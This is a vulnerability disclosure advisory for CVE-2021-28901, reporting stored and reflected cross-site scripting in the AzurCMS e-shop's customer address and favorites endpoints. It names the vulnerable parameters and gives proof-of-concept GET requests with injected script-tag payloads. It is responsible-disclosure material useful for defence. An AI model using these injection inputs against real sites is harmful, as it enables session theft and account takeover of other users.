Security advisory

Multiple cross-site scripting (XSS) vulnerabilities

September, 2021

CVE-2021-28901
Release date: 14/09/2021
Department: POST Cyberforce
Maxime Brigaudeau

Vulnerability summary

Product	AzurWebEngine in AzurCMS
Product homepage	https://www.sitasoftware.lu/web.php
Affected product versions	1.2.3.12 and earlier
Severity	Medium: CVSS v3.1 score - 5.4
CVSS v3.1	CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
MITRE ATT&CK	T1059, TA0002
OWASP	OWASP 2017-A7
CWE	CWE-79
Workarounds	No workarounds available
Fixed product versions	1.2.4.3 or request a hotfix from Vendor

Validated impact:

- Admin/User accounts takeover;
- User impersonation;
- Privilege Escalation.

Timeline

Date	Action
23 February 2021	Vulnerability identification, exploitation and impact validation
25 February 2021	Vendor notified and acknowledged the vulnerability
02 March 2021	Vendor advised on mitigation actions
01 April 2021	CVE-2021-28901 assigned by MITRE
02 April 2021	Vendor informed about assigned CVE id
24 March 2021	Request for updates
29 March 2021	Received the update from Vendor
12 May 2021	Reveived the update from Vendor
14 September 2021	Advisory publicly released by POST Cyberforce

References:

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28901
- https://attack.mitre.org/tactics/TA0002/
- https://attack.mitre.org/techniques/T1059/
- https://cwe.mitre.org/data/definitions/79.html
- https://owasp.org/www-project-top-ten/2017/de/A7_2017-Cross-Site_Scripting_(XSS)

Product description

Azur Web Engine is part of Azur CMS which is a website Content Management System. It includes several modules such as:

- Azur ticket: A ticket system is an administration module allowing the implementation of a project and the oversight of its progress by level of importance.
- Calendar: The calendar allows syncing between team members.
- Time management: Time management is Azur WEB's time management module.
- Intranet: Intranet is a module made exclusively for internal activities.
- Control center: Control Center is the module made for tracking your company's financial results in realtime.

Azur CMS includes an Ebusiness module, which turns the website into an Online store.

Advisory

During the penetration test POST Cyberforce identified multiple stored and reflected XSS vulnerabilities. Injection points require authentification as a simple online shop user, once connected the user can inject malicious JavaScript into his profile or bookmarks within the application in order to grab other users' sessions or execute malicious code through their browser.

Vulnerability description

A customer account has the possibility to personalize their profile by adding favorites or changing their personnal information. A JavaScript injection is present in several fields on the "customer_adresses" and "customer_favorites" configuration sections. Any users who will visit the attacker's profile or favorite becomes a victim of an XSS attack. Once the malicious JavaScript code injected it's possible to access cookies, session token or execute malicious code through their browser.

Vulnerable endpoints:

Address section:

```
GET /eshop/products/json/aouCustomerAdresse?LIVR_FACT=F&NUMERO=2&CODE_PERSO=M&NOM_CLI=XXXXX&ADRESSE=
    XXXXX&ADRESSE2=XXXXX&CODE_POSTAL=XXXXX&LOCALITE=XXXXX&NO_CODE_PAYS=XXXXX&TELEPHONE=XXXXX&GSM=&
    HORAIRES_OUVERTURE=&_=XXXXX
```

Favorite section:

```
GET /eshop/products/json/addCustomerFavorite?no_liste=XXXXX&nom_liste=XXXXX&_=XXXXX HTTP/1.1
```

Vulnerable parameter:

Address section: NOM_CLI, ADRESSE, ADRESSE2, LOCALITE

Favorite section: nom_liste

Proof of concept

Address section:

```
GET /eshop/products/json/aouCustomerAdresse?LIVR_FACT=F&NUMERO=2&CODE_PERSO=M&
    NOM_CLI=%3Cscript%3Ealert2%3C%2Fscript%3E&ADRESSE=%3Cscript%3Ealert3%3C%2Fscript%3E&
    ADRESSE2=%3Cscript%3Ealert4%3C%2Fscript%3E&CODE_POSTAL=57480&LOCALITE=%3Cscript%3Ealert5%3C%2Fscript%3E&
    NO_CODE_PAYS=FR&TELEPHONE=%2B33612326554&GSM=&HORAIRES_OUVERTURE=&_=1615214326902 HTTP/1.1
```

Favorite section:

```
GET /eshop/products/json/addCustomerFavorite?no_liste=&nom_liste=%3Cscript%3Ealert6%3C%2Fscript%3E&_
    =1615214565194 HTTP/1.1
```

Recommendation

Contact Sita Software S.A. to receive an updated version.